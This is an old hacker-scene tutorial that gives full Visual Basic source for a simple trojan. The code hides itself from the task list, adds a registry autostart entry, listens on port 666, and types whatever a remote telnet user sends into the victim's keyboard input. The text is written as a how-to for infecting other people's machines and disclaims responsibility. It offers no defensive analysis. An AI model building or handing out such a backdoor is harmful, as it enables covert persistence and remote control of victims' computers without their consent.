Basic Trojan In Visual Basic
By: Swampy

Disclaimer:
You may distribute this text as you want, IF it stays’s unchanged and that I and/or PWW gets the credit :)

About:
In this litle tutorial i will learn you to make a small trojan that starts everytime
windows is started. On more thing, you cant se it in the Ctrl + Alt + Del screen.
In the code all the green text is comments, you don´t have to include them in the
code. When someone has opened the trojan you can connect to it with telnet, and
when you are connected you can press a key and then the infected computer also
presses that key. Hope you have fun with your new knowlege...

Start Programming:
Start with adding a new component into your project. Add the component that is named
"Microsoft Winsock Controls". Now add a Winsock component into the prodject.

Private Sub Form_Load()
App.TaskVisible = False  'This hides your aplication from the Ctrl + Alt + Del screen.
'This adds your program to the windows registry so that it starts everytime windows starts
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")

'-------------- This  piece of code should be on one line only -------------------------------------------------------------
Reg.RegWrite 
"HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNSERVICES\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
'------------------------------------------------------------------------------------------------------------------------------------------

winsock1.localport = "666" ' this sets your trojan´s port, you can change it if you want to
Winsock1.Listen 'This sets your trojan to listen for connections
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'Got to do this to make sure the Winsock control isn't already being used.
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 'Accept the client who connects
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
'If an error accour and the conection is lost, then this tells the winsock to listen again
Winsock1.Close
Winsock1.Listen
End Sub

Private Sub Winsock1_Close()
'same as Winsock1_Error above
Winsock1.Close
Winsock1.Listen
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data1 As String 'Define the variable to store the recived data from
Winsock1.GetData data1 'Gets data from client and store it in the variable data1
DoEvents 'The computer takes a small break to get all the data
SendKeys data1 'Send the data to the infected computers keybord
End Sub

The End:
As you already know, neither Me or PWW is responsible for what you do with this text. I wrote this in the purpose of knowledge. And knowledge is not a crime.